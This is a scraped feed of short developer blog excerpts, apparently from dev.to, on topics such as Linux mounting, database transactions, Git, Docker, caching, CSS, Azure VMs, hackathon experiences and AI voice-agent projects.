    Hey there, Linux adventurers! 👋 Ever plugged in a USB drive and wondered how your system "sees" it? Or perhaps you've pondered how different storage devices seamlessly integrate into your Linux directory structure? You're in the right place! This post will demystify the essential concepts of mounting and unmounting filesystems in Linux, equipping you with the knowledge to control your storage like a pro. Get ready to connect and disconnect with confidence! 🎮 In Linux (and Unix-like systems), everything is a file. But how do your separate storage devices (like hard drives, USB sticks, network shares, or even CD/DVDs) become part of this unified file system tree? That's where mounting comes in! Think of mounting as connecting a new branch (your storage device's filesystem) to an existing …  ( 6 min )
    Database Locking Explained: Ensuring Integrity While Impacting Performance in Concurrent Systems
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    Why Every Engineer Needs Professional-Grade Electrical Tapes (and Where to Get Them)
    ⚡ Whether you're an embedded systems developer, a server room manager, or an IoT hobbyist — choosing the right tape could literally mean the difference between safety and disaster. When we talk about hardware setups or wiring jobs, we often focus on boards, components, or tools. But ask anyone who's spent hours debugging a panel, and they’ll tell you: a reliable electrical tape is gold. That’s why today we’re diving into professional-grade electrical tapes — what makes them different, why they matter, and where to get them. Here’s what high-quality tapes can do for your electrical setups: ✅ Insulate exposed wires to avoid shorts and shocks ✅ Organize control panels and server racks neatly ✅ Label complex networks or circuits ✅ Survive harsh environments (heat, humidity, UV, chemicals) …  ( 4 min )
    How to Protect Yourself From Malicious Links: A Complete Guide
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    How to Show the Native Android Location Enable Popup in React Native (No Third-Party Libraries)
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    Understanding Database Transaction Rollbacks: Resolving Conflicts for Data Integrity and Consistency
    Introduction: The Importance of Transactions in Databases In the world of database management systems (DBMS), transactions are the fundamental units of work that ensure data is manipulated in a reliable and consistent manner. A transaction is a sequence of operations—such as reading, writing, updating, or deleting data—that must be completed as a whole. If any part of the transaction fails, the entire operation must be undone to prevent partial updates that could leave the database in an inconsistent state. This process of undoing a transaction is known as a rollback. But why do transactions get rolled back, especially when multiple operations "clash" or conflict with one another? And how does a database system decide when and how to roll back a transaction? These questions lie at the he…  ( 12 min )
    Introducing DevToolbox – A Free Developer Toolkit for Fonts, Icons, Gradients & More
    🚀 Introducing DevToolbox — A Centralized Developer Toolkit Hey devs 👋, I’m super excited to share DevToolbox — a developer-first tool that brings all your favorite UI/UX utilities into one simple, fast, and responsive app. 🧩 UI Components – Ready-to-use Tailwind + ShadCN design snippets. 🔍 Lucide Icons – Search, preview, and copy clean icons. 🎨 Color & Gradient Tools – Pick palettes or generate smooth gradients. 🔤 Google Fonts & Tailwind Fonts – Filter, preview, and grab CSS-ready fonts. 🛠️ Developer Tools – Vercel, Netlify, Neon, GitHub repo starter links. 🤖 AI Tools for Developers – A section dedicated to code/gen AI tools. 🧠 Commands Library – Terminal & dev commands across frameworks. 🚀 All-in-One Place – No more hopping tabs. Focus on building! When I started learning frontend development, I used to spend hours searching for the right fonts, icons, and color combinations. I realized there was no central place to find it all — so I created DevToolbox to make life easier for beginners and experienced devs alike. Built using React + TypeScript, styled with Tailwind CSS, and deployed on Vercel. 👉 https://dev-tool-box-jatin.vercel.app/ Let me know your thoughts, feedback, or suggestions. And if it helps you, please give it a share 🙌 HappyCoding 💻✨  ( 3 min )
    After the Hack: What Comes Next When the Build is Just the Beginning
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    🚀 Mastering Linux Package Management: From RPM's Roots to DNF's Modern Magic! ✨
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    How do I get my image to appear on my webpage?
    I found the following question on StackOverflow: How do I get my image to appear on my webpage? —StackOverflow I improved the question into: how do I make images appear on localhost? I do that because I was having that problem, and I could not explain the issue. Also, if that person asks the question in the context of an online website, the problem will be very easy to solve. This article answers both scenarios. In a computer, developers can activate localhost anywhere within their file system. They can start their localhost from the Desktop folder if they are on Windows. We use the following file structure for the working directory: my-project/ ├─ images/ │  ├─ panda.png ├─ index.html As an example, I can activate a localhost with the following steps: I start a localhost from Desktop. I …  ( 4 min )
    Building Neurostash - I
    How I’m architecting and building a scalable, multi-tenant document processing system. We've all been there—drowning in documents scattered across emails, cloud drives, and local folders. Important information buried in PDFs, critical insights lost in meeting notes, and that one crucial document that you know exists but can't find when you need it most. After experiencing this pain point repeatedly in my development work, I decided to build NeuroStash: an open-source knowledge management system designed to ingest, process, and intelligently extract information from document which can be self-hosted. But this isn't just another file storage solution—it's a production-ready system built with scalability, security, and developer experience in mind. NeuroStash |- app/ # HTTP Endpoints and requ…  ( 6 min )
    ChezElle Intranet : Frontend Challenge Office Edition
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I built a dynamic and engaging intranet homepage using only HTML, CSS, and JavaScript. The interface includes a personalized welcome message that greets users based on the time of day and their name, stored locally for a consistent experience across visits. It also features a floating virtual assistant icon that opens a helpful panel with quick-access internal resources. This design provides a user-friendly, modern look while remaining lightweight and accessible without a backend. It contains again news sections, archives highlights and other thing. Link of deployment : https://frabjous-twilight-eeed40.netlify.app/ Github link with MIT License : https://github.com/Judakp/FrontendChallenge-Axero.git I started by designing a clean layout, prioritizing user engagement and usability. The first component I implemented was the dynamic welcome message, using JavaScript to greet users according to the current hour and storing their name via localStorage. This makes the experience feel personal and consistent. Next, I added a virtual assistant bubble that stays fixed at the bottom corner. When clicked, it reveals a compact panel with helpful internal links like accessing documents, contacting HR, or checking the schedule. I used smooth hover effects and light shadows to make the interface visually appealing and intuitive. I finally created news sections , archives highlights and other thing.  ( 3 min )
    Beyond the Code: What the World's Largest Hackathon Taught Me About People
    When I signed up for the World's Largest Hackathon, I expected late nights, last-minute bugs, and a rollercoaster of caffeine-fueled coding sessions. What I didn’t expect was how human the experience would be. Although I built my project entirely solo, I never felt like I was working in a vacuum. The global energy during the hackathon was contagious. Whether it was reading through other builders’ updates or catching the AMA replays, there was always something to keep me motivated. Even in moments of silence, I felt connected. I had the chance to attend a local satellite event in Lagos—a gaming room turned hacker den for the weekend. The LED lights were glowing, keyboards clicking, and the vibe? Somewhere between “startup garage” and “LAN party.” We passed around cookies and ice cream, exchanged stories, and celebrated small wins like fixing stubborn bugs or finally nailing down an AI prompt. It was low-key, but that shared atmosphere of creation made it unforgettable. Bolt Team – for making app development feel like alchemy. The way I could scaffold a backend and logic with simple prompts changed everything. Eric Simons & Greg Isenberg’s AMA – raw, honest, and incredibly grounding. A reminder that every big build started as a rough sketch. Discord Community – while I didn’t reach out for help directly, just seeing the energy, memes, builds, and support from fellow builders gave me the push I needed. Yes, I shipped something I’m proud of. But the real win wasn’t the product—it was the experience. The community, the chance encounters, and the late-night moments when I remembered why I love to build in the first place. If you’re thinking about joining the next hackathon: do it. Even solo, you won’t be alone. The code may be yours, but the momentum is shared. Huge thanks to everyone who made this journey unforgettable. Catch you in the next build. 🚀  ( 4 min )
    Is Wildcard SSL Worth It for Securing Unlimited Subdomains?
    SSL certificate strategy must be greatly considered when managing multiple subdomains for your website, as a business owner or a web deliver. Would it be better to buy an individual SSL certificate for single subdomain or simply procure a timesaving wildcard SSL certificate? Let us discuss about that cost-benefit functionality and the actual practicalities. A wildcard SSL certificate uses an asterisk (*) as a placeholder to secure a primary domain and all its first-level subdomains with a single certificate. For example, a certificate for *.example.com would automatically secure: blog.example.com shop.example.com api.example.com admin.example.com And any future subdomains you create Cost Analysis: Wildcard vs Individual Certificates The financial argument for wildcard SSL becomes compelli…  ( 4 min )
    The Best Git Commands Every Junior Developer Should Know
    Introduction Git is not just a tool — it’s the lifeline of modern software development. Yet, many junior developers underestimate its power. If you don’t master Git early, you’ll soon find yourself drowning in broken branches, lost commits, and unsolvable merge conflicts. This guide covers the absolute must-know Git commands that every junior developer should engrain into their muscle memory. 1. git init What it does: Initializes a new Git repository. If you’re starting a new project, run: git init Without this, Git won’t track your project. Forget this step, and you’re just coding in the void. 2. git clone What it does: Clones a repository from a remote source. git clone When you join a team or contribute to an open-source project, this is how you grab the code. 3. git …  ( 4 min )
    STEM Tutor Voice Agent
    This is a submission for the AssemblyAI Voice Agents Challenge I built a Domain Expert Voice Agent that acts as a real-time STEM tutor. This voice agent helps users understand complex concepts in math, physics, and computer science, using a live microphone input and a responsive LLM-based tutor. The project addresses the Domain Expert prompt category by: Demonstrating deep domain expertise via a Hugging Face LLM (zephyr-7b-beta) Supporting multi-turn conversations Integrating Universal-Streaming API for low-latency, real-time speech-to-text conversion Providing meaningful and natural tutoring experiences through dialogue refinement, clarification handling, and context preservation. [https://github.com/aravind048/AI-ML/tree/Assembly_AI] This project uses the AssemblyAI Universal-Streaming API to deliver sub-300ms latency transcription for real-time voice interaction. 🧩 Core Tech Stack Python 3.10 AssemblyAI Universal-Streaming (WebSocket) HuggingFaceH4/zephyr-7b-beta:featherless-ai via HuggingFace Router API pyttsx3 for text-to-speech feedback asyncio, websockets, sounddevice, numpy 🧠 Voice-to-LLM Pipeline # Connect to AssemblyAI's Universal-Streaming WebSocket async with websockets.connect(ASSEMBLY_WS_URL, extra_headers=headers) as ws: await send_audio(ws) # Stream microphone audio await receive_transcripts(ws) # Get live transcription # Forward user query to LLM for STEM tutoring response = requests.post(HF_API, headers=headers, json={ "model": "HuggingFaceH4/zephyr-7b-beta:featherless-ai", "messages": [ {"role": "system", "content": "You are a helpful STEM tutor..."}, {"role": "user", "content": transcript} ] }) ✅ AssemblyAI Highlights Ultra-low latency streaming Intelligent endpointing for clear turn detection Works seamlessly with domain-specific terminology (e.g., "parabola", "Big O notation", "Planck constant")  ( 3 min )
    simple ATM Project in Java-covering full CRUD (without DB, using console + Java basics).
    Great! Here's a simple ATM Project in Java that includes Account Creation, View, Deposit, Withdraw, and Deletion – covering full CRUD (without DB, using console + Java basics). package Interview_practice; public class Account { int accNo; String name; double balance; public Account(int accNo,String name,double balance) { this.accNo=accNo; this.name=name; this.balance=balance; } } package Interview_practice; import java.util.HashMap; import java.util.Map; import java.util.Scanner; public class ATM { static Scanner sc = new Scanner(System.in); static Map accounts = new HashMap(); public static void main(String[] args) { while (true) { System.out.println("\n1.create\n2.view\n3.Deposit\n4.Withdraw\n5.Delete\n6.Exit"); …  ( 4 min )
    Why Everyone Is Talking About Edge Functions
    If you've been keeping an eye on modern web development trends, you've probably heard a lot of chatter about edge functions, edge computing, or “running your code at the edge.” No, it’s not some new punk band. It’s the next step in how we build fast, scalable applications, and it’s not just hype. So, what are edge functions? Why should you care? And how do they fit into modern stacks? Traditionally, when someone makes a request to your app, it hits a centralized server, maybe in Virginia, maybe in Frankfurt, maybe in some giant AWS data center somewhere. Edge functions are like mini serverless functions that run at those edge locations. Think: Middleware logic Authentication checks A/B testing Personalization Redirects, rewrites Low-latency APIs They’re small, fast, and often …  ( 4 min )
    Retail Router: Prototype and Beyond
    What the Hack?!? How exciting to join my hackathon first Completing over 100 customer surveys and interviews Having the first paying customers is beyond exciting Many lessons were learned to help me move forward Vibe coding is a happy place for my delight You can learn more and not be left behind By choosing a plan to share your mind [earlyaccess.retailrouter.com] is ready to view Come help make in-person grocery shopping brand new!  ( 3 min )
    ⚖️ Chapter 4: Merits & Demerits — The Duality of Intelligence
    “Every invention is a mirror. The Era of AI is not just a timeline. mirror era, logic dreams, and machines listen. But every step forward… The Merits — Where AI Shines “Let the code carry the weight, 🧠 1. Enhanced Thinking AI doesn’t replace your brain. amplifies it. Automation of the Ordinary The repetitive? Handled. dream, create, feel. Accessibility & Inclusion AI breaks barriers. Now, prompts. Limitless Innovation From medicine to music, It's not just a tool. invitation The Demerits — Where AI Hurts “A tool with no soul, 👥 1. Loss of Identity When machines write poems, “What makes mine special?” The soul starts to shiver. efficient. Too efficient. Creativity Crisis When everything is generated, choose. We forget how to struggle. art is born. Job Displacement Yes, AI creates jobs — replaces them. For the coder, the teacher, the editor — Are we evolving fast enough keep up? Privacy & Power Who owns the models? AIs remember. too much. “A knife can cut bread, or bleed. AI is not a villain. force — guide it with heart. We are the soul. This was Chapter 4. duality of our era. brilliance and bewilderment. So ask yourself: awareness? consciousness? If yes, Till the next pulse of thought, Stay real. Stay aware. Stay human. — Prasoon Jadon The voice behind the spark. 🖋️✨  ( 4 min )
    The New Stack for AI Builders:Memory + Emotion + Context
    Yesterday, I asked GPT-4 to help me write a work email to a colleague. The response was technically perfect: clean grammar, polished structure, polite tone. But something felt off. It lacked the subtle understanding of our working relationship—the accumulated history, unspoken dynamics, and tone adjustments I’ve learned over time. It felt sterile. Here’s the fundamental problem: Current LLMs operate in isolation. Each conversation exists in a vacuum. They don’t remember yesterday’s context, adapt to our evolving needs, or grow with us over time. This isn’t a technical limitation — it’s an architectural decision. And it’s the wrong one. Human intelligence builds on context. You don’t reintroduce yourself to a friend every time you meet. Context-aware AI should work the same way. Traditional…  ( 5 min )
    The Hvala Algorithm combines square-time efficiency with an approximation ratio better than 2. Disproving the Unique Games Conjecture, thereby overcoming a fundamental barrier in approximation algorithm complexity. Available as the 'hvala' package on PyPI.
    The Hvala Algorithm Frank Vega ・ Jul 27 #programming #algorithms #computerscience #python  ( 3 min )
    Why Git is So Hard to Learn (and Why You Should Learn it Anyway)
    Let’s get this out of the way first: Git is confusing. No one picks up Git and immediately feels like a wizard. If you’ve ever stared at your terminal wondering what the heck detached HEAD means, you're not alone. Most tools do one job and do it simply. Git, on the other hand, is like a Swiss Army knife duct-taped to another Swiss Army knife. It tracks versions, coordinates collaboration, manages history, branches reality... and expects you to understand how all those parts fit together. Git makes a lot more sense once you understand how it actually works under the hood. Think of Git like a fancy key-value store. Every commit is just a snapshot of your code at a moment in time, and Git stores them as objects. Those objects are linked by hashes, not filenames. That’s why it doesn’t really c…  ( 4 min )
    Complete Beginner's Guide to Linux Ricing
    In the Linux world, 'Ricing', refers to the process of customizing your machine, and create a custom environment for yourself. The term 'rice' originates from the old internet slang which meant 'to make it look nice' and is now majorly used for customizing a desktop environment. The Ricing Culture, began soon after minimalist window managers like i3, or bspwm started to emerge in the early Linux days, providing users with a way to customize their entire desktop stack. Early on, this trend of customizing your desktop started to pickup and people started sharing configurations and screenshots with each other on early social platforms. Linux is the holy grail for ricing. Linux is like a modular puzzle, it is built up of small pieces that are replaceable and customizable as per the users choic…  ( 10 min )
    Microsoft to stop using China-based teams to support Department of Defense
    Imagine handing the keys to your house, or even your entire neighborhood, to a global team of maintenance workers. You trust them to keep everything running smoothly, but what if some of those workers were based in a country with geopolitical tensions with yours? That’s essentially the digital dilemma the U.S. government is grappling with right now, brought to light by a recent ProPublica investigation. Last week, Microsoft announced it would no longer use China-based engineering teams to support the Defense Department's cloud systems. On the surface, that sounds like a smart, proactive move. Cybersecurity experts have been vocal about the potential risks – the specter of hacking and espionage looms large when sensitive government data is involved, even indirectly. But here’s where it gets…  ( 4 min )
    Cloud Resume Challenge (v1.0)
    This blog post is to summarize my experience with this project and to give a little insight for its significance because on the surface it just looks like a personal website, but when you know what it's all about, it demonstrates what I can do with the cloud platform. This project is based the cloud resume challenge. I'll keep this post short and sweet. After earning my Azure certification, I wanted to prove my knowledge for it with a project, and with it, adding my resume to the Azure cloud platform seemed like a great way to initially demonstrate my familiarity with some of its topics. Some areas were familiar but a lot were brand new and exciting to learn. The frontend is a static webpage with a borrowed template (credit at bottom of the resume's page). It incorporates HTML, CSS, and Ja…  ( 4 min )
    Mastering the Art of Debugging in Flutter (Part One)
    Subtitle: Introduction to the World of Debugging Introduction "If debugging is the process of removing bugs, then programming must be the process of putting them in." — Edsger W. Dijkstra Oh boy, Edsger definitely knew what he was saying, because what?! We've all been there, or better still, I've been there... a lot. You're building a piece of software etc, everything is going smoothly, and then ...bam! Your software crashes unexpectedly or starts behaving in ways you never intended. Red lines flood your console, and after multiple attempts to understand, you start feeling frustrated(I mean, why won't you just work for goodness sake? Who do I have to do?!). Or even worse, you're on the brink of completing a task, with a deadline for 9am, for a stakeholder presentation by 10am.…  ( 7 min )
    "A Clean, Fast Word Counter Tool I Use Almost Every Day (And Why You Might, Too)" published: true
    As a developer and content creator, I constantly write—whether it’s documentation, blog posts, email sequences, or even meta descriptions. And one thing I find myself checking more often than I expected? Word and character count. Sure, Google Docs does it. Word does it. But: I don’t always want to open those tools Their UX can be slow or cluttered They don’t give live stats as I type And most online word counters are filled with ads and unnecessary features Whether you're writing for: SEO Product pages Ad copy Social media Assignments ...knowing the exact word or character count is critical. But most tools feel bloated. Or worse, unsafe — do you really want to paste your entire draft into a popup-ridden third-party site? I started using TextWordCount.com and honestly, it’s one of those small tools that just does exactly what you want — nothing more, nothing less. Here’s why it stuck: ✅ Word, character, line, and paragraph count — live, no clicks needed ✅ Works flawlessly on mobile and desktop ✅ No tracking, no cookies, no logins ✅ Zero ads or fluff ✅ Supports long-form and short-form writing It’s become a permanent tab in my writing workflow. 👨‍💻 Developers writing UI copy and need exact limits 🎓 Students trying to stay within strict assignment word counts 📚 Teachers reviewing essays or summarizing content 📱 Social media managers optimizing tweets, reels descriptions, or hashtags ✍️ Bloggers & SEO writers meeting article length requirements If you want a clean, reliable, ad-free word counter that doesn’t try to be anything else: 👉 https://www.textwordcount.com I’m not affiliated — I just love micro-tools that solve real problems quietly and effi  ( 3 min )
    AI-Powered Supply Chain Simulator (Open Source Tool)
    👋 Hello Devs, 🔗 GitHub: https://github.com/AquarlisPrime/AI-Driven-Forecast-Resilience-Simulator-for-Supply-Chain 💡 Why I Built This Simulates disruptions in real-time Predicts demand using machine learning Helps visualize impact across a supply chain network Calculates cost, emissions, and risk dynamically Something intuitive enough to demo and powerful enough to experiment with. 🧠 Key Features ✅ Digital Twin Supply Chain Network ✅ Disruption Scenario Engine ✅ Cost, Emissions, and Risk Calculators ✅ Streamlit-Powered Interface 🛠️ Tech Stack 🔗 Visualization: networkx, pyvis, plotly, streamlit 📦 Core Libraries: pandas, numpy, scikit-learn 🧪 Future Additions: SHAP, SQLite/Firebase, optimization engine 💬 What I'm Looking For 🔧 Ideas for additional models or optimization logic 💡 Feature suggestions or UX feedback 👥 Collaborators who’d like to help scale this 📬 Try It Out! And feel free to fork, star, or open issues — all contributions are welcome! ❤️ Thank You! If you're into ML, supply chains, data apps, or even just cool Python projects — I'd love your feedback! Drop a comment, GitHub issue, or DM anytime.  ( 3 min )
    [AWS] How to do team development with Kiro SPEC (SPEC division, external implementation interruption) [Kiro]
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/84e3d2fd3ee793ac0083 In the previous article, we introduced the basic functions. [AWS] I tried out the popular features of Kiro, such as applying rule files and implementing from an architecture diagram [KIRO] https://qiita.com/Nana_777/items/37a11c9a2f0065158528 [Role of the system] [Main tasks] Create a directory structure for the calculator app (models, views, controllers, tests, styles) Implement a CalculatorEngine class that performs basic arithmetic (addition, subtraction, multiplication, division) Implement error handling for division by zero, overflow, and invalid input Implementing a basic calculation flow Integrating the basic flow of inputting …  ( 6 min )
    How to Encrypt Files Online Securely: A Step-by-Step Guide
    🔐 What is File Encryption? File encryption is the process of transforming a file’s data into an unreadable format using cryptographic algorithms. Only someone with the correct key or password can decrypt and access the file’s original contents. There are various encryption standards, but one of the most trusted is AES-256 (Advanced Encryption Standard with 256-bit keys), which is used by governments, financial institutions, and security professionals worldwide. No downloads or installations Cross-platform accessibility (works on Windows, macOS, Linux, mobile) Fast and private Secure sharing with encrypted files and passwords Free tools available with strong encryption standards Cipher Tools Hub – File Encryption Tool CipherToolsHub.com offers a free, browser-based AES-256 file encrypt…  ( 4 min )
    Introducing Jengo React Starter Kit – Build CI4 Apps with React & Inertia.js Effortlessly
    Hi devs 👋, After working with CodeIgniter 4, React, and Inertia.js across a few projects, I found myself repeating the same setup steps over and over again — composer configs, Webpack, directory structure, React + Inertia integration... You know the drill. So I decided to package it all up into something clean and reusable: jengo/react-starter-kit A Composer-powered starter kit for building full-stack apps using: ✅ CodeIgniter 4 – a fast PHP framework ⚛️ React – frontend library of choice 🧭 Inertia.js – the glue between backend and frontend 🎨 Tailwind CSS + DaisyUI – modern UI styling ⚡ Pre-configured Inertia.js bridge for CI4 ⚛️ React + Webpack setup ready to go 🎨 Tailwind CSS + DaisyUI support out of the box 📁 Opinionated folder structure for smooth separation of concerns 🚀 Dev s…  ( 4 min )
    Vocalize HR Screen: AI-Powered Voice Screening Agent for Professional Interviews
    This is a submission for the AssemblyAI Voice Agents Challenge Vocalize HR Screen is an intelligent voice-powered HR screening agent that conducts professional 15-minute interviews to evaluate candidates across four key areas: basic qualifications, motivation, logistical fit, and communication skills. As someone who has experienced both sides of the hiring process, I noticed two critical pain points: For Job Seekers: Many talented candidates struggle with interview anxiety and lack access to realistic practice opportunities. They often get rejected at the screening stage not because they're unqualified, but because they couldn't effectively communicate their value in a high-pressure situation. For Startups: Small companies and startups often lack dedicated HR teams or the resources to cond…  ( 6 min )
    Fixing Microservice Dependencies with Self-Contained Events (aka ECST)
    Microservices are supposed to be independent, autonomous, and scalable. But in reality, they often end up tightly coupled—relying on synchronous API calls, complex orchestration, and fragile dependencies. In this post, we’ll explore how to break microservice dependencies using a powerful pattern known as Event-Carried State Transfer (ECST)—or as I like to call it, Self-Contained Events. It’s a simple yet impactful idea: put all the necessary data in the event. Many microservice systems fall into a trap: they rely heavily on synchronous API calls between services to share data. This creates tight coupling, reduces resilience, and introduces latency.This API dependencies hurt reliability and scalability. Let’s say a customer places an order. The Order Service emits an event like: { "eventT…  ( 4 min )
    My 5 Essential VS Code Extensions for Full-Stack Development
    The Developer's Best Friend: Why VS Code Matters Hey everyone! Rhythm Saha here, founder of NovexiQ and a fellow full-stack enthusiast from Santipur, West Bengal. If you're anything like me, your code editor is where you spend a significant chunk of your day. For me, it's Visual Studio Code, no doubt. It's not just an editor; it's the command center for all my MERN Stack and Next.js projects. What makes VS Code so powerful isn't just its core functionality. It's the incredible ecosystem of extensions that truly turns it into a powerhouse. As I've been building NovexiQ from the ground up, I've constantly looked for ways to optimize my workflow, reduce friction, and, let's be honest, just make coding more enjoyable. Productivity isn't only about writing more lines of code. For me, it's abo…  ( 8 min )
    📊 How I Work with Data in 2025: 5 Practical Habits That Help Me Stay Sane
    As a developer, I find myself working with more and more data — whether it's through APIs, CSV files, or SQL databases. Here are a few practices I’ve found useful (and try to stick to) to avoid common pitfalls: 🧼 1. Always clean the data 📐 2. Understand the structure before coding ⚡️ 3. Match tools to the data volume 📊 4. Summarize and visualize 🔒 5. Protect sensitive data I’m careful about what I log — especially in staging or debug environments. Tokens and emails can easily leak. I also try to anonymize when working with production copies.  ( 3 min )
    Use LLamaIndex Workflow to Create an Ink Painting Style Image Generation Workflow
    In today's article, I'll help you build a workflow that can generate ink illustrations with strong Eastern style. This workflow also allows for multiple rounds of prompt adjustments and final image tweaks, helping save on token and time costs. You can find the source code for this project at the end of the article. Recently I wanted to create an agent workflow that could quickly generate images for my blog at low cost. I wanted my blog images to have strong artistic flair and classical Eastern charm. So I hoped my workflow could precisely control the LLM context and continuously adjust the prompts for drawing as well as the final image effects, while keeping token and time costs to a minimum. Then I immediately faced a dilemma: If I chose low-code platforms like dify or n8n, I wouldn't get…  ( 15 min )
    A few weeks ago, I built a Docker image for my personal portfolio project (a React app). Everything worked fine — until I checked the size... 💣 1.5 GB! For a static frontend app?! I realized this could slow down deployment, consume more storage, and mak
    From 1.5GB to 200MB: How I Slimmed Down My Docker Image Like a Pro 🚀 Mai Chi Bao ・ Jul 21 #mrzaizai2k #webdev #docker #devops  ( 3 min )
    Cache or Crash: Avoiding the Four Most Common Caching Pitfalls
    TL;DR 4 Cache Disasters & Go Solutions: Thunder Hurd: Random TTL jitter prevents mass expiration Cache Penetration: Cache "null" results for non-existent data Cache Breakdown: Never expire hot keys, use background refresh Cache Crash: Circuit breakers + rate limiting for graceful degradation Golden Rule: Your cache strategy must work when caches fail, not just when they succeed. Thunder Hurd Problem: When Cache Misses Attack in Waves Cache Penetration: The Non-Existent Key Problem Cache Breakdown: When Hot Keys Expire Cache Crash: Building Resilient Systems Best Practices for Robust Caching Conclusion Caching is one of the most powerful tools in a developer's arsenal for improving application performance. By storing frequently accessed data in fast, temporary storage, we can dramatical…  ( 9 min )
    How to Set Colors and Backgrounds in CSS: From Named Colors to Gradients
    Choosing the right colors is a big part of making your website look professional with CSS, you’ve got a lot of options. Whether you’re just learning or looking to polish your frontend skills, understanding how to set colors and background styles is essential. In this beginner-friendly guide, I break down: ✅ The different ways to define colors in CSS 1. Named Colors 2. HEX, RGB, and RGBA #ff5733 (HEX) rgb(0, 0, 0) rgba(0, 0, 0, 0.5) These formats give you flexibility and better consistency across designs. 3. Background Gradients background: linear-gradient(to right, #ff7e5f, #feb47b); allow you to blend colors smoothly without images. How To Set Colors and Background From Names to Gradients Whether you’re building your first landing page or tweaking a UI, mastering color in CSS is a small step that makes a big difference.  ( 3 min )
    Your personal Blockchain tutor powered by AssemblyAI
    This is a submission for the AssemblyAI Voice Agents Challenge The voice-based Crypto Education Agent is designed to provide interactive, personalized learning experiences in cryptocurrency topics through natural voice interactions. It uses AssemblyAI for real-time speech-to-text (STT) transcription, handling domain-specific jargon like "BTC," "DeFi," and "zero-knowledge proofs" with high accuracy. The transcribed queries are processed via a Retrieval-Augmented Generation (RAG) pipeline built with LlamaIndex, which retrieves factual information from a curated knowledge base stored in Pinecone vector database. Responses are generated using Anthropic's Claude LLM, ensuring detailed, hallucination-free explanations. The agent also learns from conversations by indexing dialogue history, enabli…  ( 6 min )
    Weekly #30-2025: From Legacy Code to AI Myths & Edge Innovation
    Madhu Sudhan Subedi Tech Weekly Tiny but Mighty: The Lightweight S3 Client Taking on the Edge Let’s talk about s3mini—a super lightweight tool that helps developers store files in the cloud, fast. At just 14KB, s3mini is written in TypeScript and works on Node.js, Bun, and Cloudflare Workers, but not in your browser. Why use it? It’s designed for edge computing, where speed and small size matter most. Link “AI will replace all the jobs!” Tech Execs' Marketing Ploy Exposed You’ve probably heard the hype: “AI will replace 50% of jobs!” But if you look closer, there’s no real evidence for it. In fact, when Rand Fishkin at SparkToro searched for proof that AI has wiped out huge numbers of jobs, he found the opposite—throughout history, new technologies like tractors or computers changed the job market, but they also created more work overall, just in new areas. Link Mainframe Modernization: A Glimpse Into Legacy Code Surprises Ever tried updating ancient mainframe COBOL code? It’s a wild ride! Programmers from years ago had to get creative: they shared the same memory for variables in English and Spanish, and would even crash jobs on purpose—just by dividing zero by zero—to handle errors. Link Platform Engineering Consultants Help Execs Embrace the Future Modern software teams often get stuck between building products and wrangling complex infrastructure. ThoughtWorks is helping companies bridge this gap with a new approach called platform engineering. Instead of every team reinventing the wheel, ThoughtWorks creates “golden paths”—pre-built tools, templates, and clear processes that anyone can use to build, test, and release software quickly and securely. Link  ( 5 min )
    Hello, Dev Community — I’m Masum Billah (aka @billahdotdev)
    Hi there! I’m Masum Billah — a self-taught web developer from Bangladesh, online as @billahdotdev. I build fast, clean, and user-friendly websites and web applications using modern tools like React, Tailwind CSS, and the MERN stack. My Journey (Code > Comfort Zone) What started as a few HTML experiments grew into real projects — client work, templates, tools — and eventually a freelance journey that I now call my career. I learned project by project, mistake by mistake, and built a mindset focused on problem-solving and continuous improvement. What I Do Frontend development with React, Vite, or Next.js UI styling with Tailwind CSS Full-stack apps using MongoDB, Express, React, and Node Template building & selling on Gumroad Creating tools for local clothing brands & small business owners I enjoy building things that help others — especially solo founders, startups, and small businesses — get online in a smart and sustainable way. What You’ll Find Here Simple, beginner-friendly web dev tutorials Lessons from real-world client projects Tips for freelancers and digital makers Tools, templates, and insights for building on a budget Whether you’re new to coding, growing your freelance career, or trying to build your first website — I hope to bring value to your journey. Let’s Connect 🛒 Templates & tools: https://gumroad.billah.dev 🐙 GitHub: github.com/billahdotdev ✉️ Email: billahdotdev@gmail.com Thanks for stopping by. More posts, tutorials, and tools coming soon. Let’s build something awesome. — Masum Billah  ( 3 min )
    How to manage virtual machine in Azure.
    A Virtual Machine (VM) is a software-based computer that runs an operating system (OS) and applications, just like a physical computer. The key difference is that a VM is hosted on a physical server and managed through a virtualization layer called a hypervisor. In simple term, A virtual machine is a computer inside a computer. To manage the virtual machine, With the network settings updated to support segmenting the Linux virtual machine, you’re ready to manage the virtual machine itself. The first thing the Azure admin asks you to complete is moving the virtual machine to the new subnet you created in when updating the virtual network. Then secondly to vertically scale the virtual machine. Next is to attach data disks to the virtual machine and finally configure automatic shutdown on a v…  ( 4 min )
    Web Design for Hospitality Industry: Boost Bookings & Engagement
    Let's be honest: effective web design for the hospitality industry has evolved far beyond just being a pretty online brochure. Think of your website as your most valuable employee—a powerful, 24/7 digital front desk that drives direct bookings, nurtures guest loyalty, and offers the very first taste of your unique experience. Picture your website as the grand entrance to your hotel, resort, or restaurant. It's your digital doorman, concierge, and brand ambassador, all rolled into one, working around the clock to welcome potential guests. For most people, this is the very first impression they'll have of you, and it sets the entire tone for their experience long before they even think about packing a bag. Today's hospitality websites are less about being a static information hub and more ab…  ( 18 min )
    🧠 What’s the deal with MCP? And why you should start exploring it now
    A couple of weeks ago, I started hearing more and more about something called Model Context Protocol (MCP). Actually, the first thing I saw was a TikTok by ChicaPython, and from that I kind of understood that MCP was like an API… but for communicating with LLMs (Large Language Models) 🤯. Then I started googling and found the official documentation, with several readings on the architecture of the protocol. From there, with some examples and tutorials using Claude, I jumped into the practical side. And here’s what makes it powerful: MCP is a standard protocol, declared in November 2024 (so yeah, pretty recent). And being a standard means it’s here to stay. From now on, this is how we communicate with LLMs, not just to consume services like when we used the Gemini API to create an agent. We…  ( 6 min )
    Essential Cybersecurity Resources: NVD, Exploit Database, and GitHub
    Essential Cybersecurity Resources: NVD, Exploit Database, and GitHub When working in cybersecurity defense, having reliable sources for vulnerability and exploit information is key. Here are three essential platforms every security professional should know: https://nvd.nist.gov/ The National Vulnerability Database (NVD) is a U.S. government-managed online resource providing detailed information about known security vulnerabilities (CVEs). Comprehensive and up-to-date vulnerability information Provides severity scores (CVSS) to help understand risk levels Includes impact details and mitigation advice Helps prioritize which vulnerabilities to fix first Valuable for security analysts, engineers, and IT teams Limitations Only lists known vulnerabilities (not zero-day exp…  ( 4 min )
